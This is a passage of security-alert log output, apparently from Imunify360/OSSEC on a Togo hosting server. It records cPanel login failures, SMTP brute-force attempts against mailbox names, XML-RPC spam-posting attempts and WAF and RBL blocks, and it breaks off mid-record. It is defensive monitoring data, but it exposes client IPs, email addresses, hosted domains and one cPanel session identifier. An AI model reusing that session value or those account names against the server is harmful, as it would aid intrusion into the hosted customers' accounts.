205.169.39.4 - - [27/Jun/2026:09:19:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9803161&pdata=http%253A%252F%252Fp3lbys.mediatopnews.tg%252Flyubaberzin%2540theprivatesectorgroup.us&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782551991 HTTP/1.1" 302 0 p3lbys.mediatopnews.tg "http://p3lbys.mediatopnews.tg/lyubaberzin@theprivatesectorgroup.us" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.4


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 158.120.195.229
country_id: 6252001
description:
[2026-06-27 09:20:11 +0000] info [cpaneld] 158.120.195.229 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.59.162.74
country_id: 6252001
description:
[2026-06-27 09:20:31 +0000] info [cpaneld] 172.59.162.74 - dgdn "GET /login/?login_only=1&user=dgdn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.60.164.199
country_id: 6252001
description:
[2026-06-27 09:20:27 +0000] info [cpaneld] 174.60.164.199 - dgdnt "GET /login/?login_only=1&user=dgdnt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnt (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 16.98.79.232
country_id: 6252001
description:
[2026-06-27 09:20:36 +0000] info [cpaneld] 16.98.79.232 - dg "GET /login/?login_only=1&user=dg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.224.12.138
country_id: 6252001
description:
[2026-06-27 09:20:13 +0000] info [cpaneld] 71.224.12.138 - dgdntogo "GET /login/?login_only=1&user=dgdntogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 66.56.165.210
country_id: 6252001
description:
[2026-06-27 09:20:23 +0000] info [cpaneld] 66.56.165.210 - dgdnto "GET /login/?login_only=1&user=dgdnto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 218.3.230.6
country_id: 1814991
description:
[2026-06-27 09:21:44 +0000] info [cpaneld] 218.3.230.6 - admin "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 221.153.15.195
country_id: 1835841
description:
[2026-06-27 09:25:04 +0000] info [cpaneld] 221.153.15.195 - moderator "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user moderator (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.49.141.50
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8e14082117015c53c6f89dbf4ba8ab8e506f6f97||Title:l6hxy7s16nmcal03xe||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 211.107.197.243
country_id: 1835841
description:
[2026-06-27 09:24:53 +0000] info [cpaneld] 211.107.197.243 - admin "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.49.141.50
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c6fbab004448940638716d93bad55afd7ea3ed4c||Title:ucz1wf4d7d0jt3os9||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 80.72.20.141
country_id: 2017370
description:
[2026-06-27 09:25:44 +0000] info [cpaneld] 80.72.20.141 - admin@soena.tg "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 184.162.255.196
country_id: 6251999
description:
[2026-06-27 09:25:50 +0000] info [cpaneld] 184.162.255.196 - root "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: root login is not permitted to cpaneld


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.49.141.50
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6ef3ec23c802eaea8de6392d43d0b6f290786174||Title:p45a0ic685jb36av||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.49.141.50
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:386e063cd79638dcdc09d14c7a2a1b25adac5a58||Title:3klnz94vkb65row||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.87.212.184
country_id: 2921044
description:
45.87.212.184 - - [27/Jun/2026:09:27:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6789782&pdata=https%253A%252F%252Ftogofarm.tg%252Ffr%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782552465 HTTP/2.0" 302 0 togofarm.tg "https://togofarm.tg/fr/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.87.212.184


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 138.99.37.61
country_id: 6251999
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:09-28.138.99.37.61||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.49.141.50
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8c38aef1a8970cb51cbc2116a85f2c3821482bfd||Title:yik3e91ccgt5iv9||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.49.141.50
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:23d675dd70193066ae8dcaee55a26cebcde86571||Title:n8xvzse4a8hkb2z30p||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 40.68.190.20
country_id: 2750405
domain: togofarm.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/104.0.5112.101 Safari/537.36||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.49.141.50
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b5a8970a632b7679b9bc4ba50394939cfed41b3b||Title:ajony032h3opq0p5h||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.49.141.50
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:dd2e0dd4026374d25e961901261a7e1926004981||Title:7bzv2oe3yee0eb||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.85.223.88
country_id: 1643084
description:
2026-06-27 09:32:21 dovecot_plain authenticator failed for H=(localhost) [36.85.223.88]:22901: 535 Incorrect authentication data (set_id=mesys@mesyscom.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.49.141.50
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e2597d2750f569e762b462801c2ce4bc218d7d69||Title:4ku0e4gm0jsrg8||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.49.141.50
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9cb4634d57fd3f0e533e22dc432a749ee011fd09||Title:cgbfq7fraffif2g||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.49.141.50
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7b72d4ee154abfebb012d41cd6fdcfba0b1292fa||Title:pvq4xmxs4mt3n63||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 41.207.186.41
country_id: 2363686
description:
[2026-06-27 09:34:25 +0000] info [cpaneld] 41.207.186.41 NEW emupgdkn:I1veag4x77ipc06c address=41.207.186.41,app=cpaneld,creator=emupgdkn,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.162.20.64
country_id: 3865483
description:
Jun 27 09:36:01 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.162.20.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 157.49.141.50
country_id: 1269750
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5eb73787f794aa576492c533a24aa28398675e4f||Title:bmygh6onnat6uc||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-27 09:36:46 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:42594: 535 Incorrect authentication data (set_id=testprint@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 27 09:36:56 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.4
country_id: 6252001
description:
205.169.39.4 - - [27/Jun/2026:09:36:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9881447&pdata=http%253A%252F%252Fdavetechno.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782552977 HTTP/1.1" 302 0 davetechno.tg "http://davetechno.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.4


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-27 09:36:58 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:57132: 535 Incorrect authentication data (set_id=temp2@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 27 09:37:53 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 27 09:37:13 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-27 09:37:15 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:25878: 535 Incorrect authentication data (set_id=temp2@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.88.215
country_id: 2750405
description:
[2026-06-27 09:37:26 +0000] info [cpaneld] 217.181.88.215 - camaegdtomgo "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-27 09:37:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:18982: 535 Incorrect authentication data (set_id=ma01@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 27 09:38:20 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-27 09:38:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:64078: 535 Incorrect authentication data (set_id=classic1@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 27 09:38:33 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-27 09:38:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:9304: 535 Incorrect authentication data (set_id=sar@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-27 09:39:55 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:16578: 535 Incorrect authentication data (set_id=wellington@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-27 09:39:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:40304: 535 Incorrect authentication data (set_id=syl@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-27 09:39:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:50178: 535 Incorrect authentication data (set_id=julia@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 27 09:39:15 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 27 09:39:21 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 216.26.243.59
country_id: 2635167
domain: snbt-togo.snb.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/snbt-togo.snb.tg/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-27 09:40:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:59250: 535 Incorrect authentication data (set_id=dittrich@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 27 09:40:15 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-27 09:40:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:53302: 535 Incorrect authentication data (set_id=ows@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 27 09:40:35 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-27 09:41:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:42036: 535 Incorrect authentication data (set_id=magic@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 27 09:41:22 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 27 09:41:40 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-27 09:41:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:33950: 535 Incorrect authentication data (set_id=test123@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 27 09:42:18 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 27 09:42:23 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-27 09:42:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:18308: 535 Incorrect authentication data (set_id=adsl@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-27 09:42:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:5578: 535 Incorrect authentication data (set_id=man5@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-27 09:43:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:27792: 535 Incorrect authentication data (set_id=stock@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-27 09:43:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:34976: 535 Incorrect authentication data (set_id=stock@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-27 09:43:14 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:7506: 535 Incorrect authentication data (set_id=arm@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 27 09:43:21 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 27 09:43:41 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-27 09:44:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:62490: 535 Incorrect authentication data (set_id=vivi@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-27 09:44:15 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:11146: 535 Incorrect authentication data (set_id=reboot@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 27 09:44:13 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 27 09:44:23 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 27 09:45:15 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 27 09:45:23 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.222.61.143
country_id: 99237
domain: soena.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/soena.tg/home-v4/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-27 09:45:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:51738: 535 Incorrect authentication data (set_id=outgoing@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-27 09:45:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:42654: 535 Incorrect authentication data (set_id=pioneer@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-27 09:46:56 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:16926: 535 Incorrect authentication data (set_id=prm@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-27 09:46:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:55134: 535 Incorrect authentication data (set_id=prm@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 27 09:46:15 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-27 09:46:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:60898: 535 Incorrect authentication data (set_id=maggie@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 27 09:46:32 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-27 09:47:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:44062: 535 Incorrect authentication data (set_id=roxana@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 27 09:47:19 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-27 09:47:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:31082: 535 Incorrect authentication data (set_id=kapat@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-27 09:48:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:20288: 535 Incorrect authentication data (set_id=pooh@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-27 09:48:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:33226: 535 Incorrect authentication data (set_id=eastasia1-a@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 27 09:48:38 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-27 09:50:11 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:12378: 535 Incorrect authentication data (set_id=luc@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 27 09:49:18 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-27 09:49:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:23638: 535 Incorrect authentication data (set_id=markov@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-27 09:49:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:29544: 535 Incorrect authentication data (set_id=directorio@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 27 09:49:41 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-27 09:50:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:64376: 535 Incorrect authentication data (set_id=stage@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 27 09:50:33 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-27 09:50:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:12174: 535 Incorrect authentication data (set_id=toney@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 27 09:50:18 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
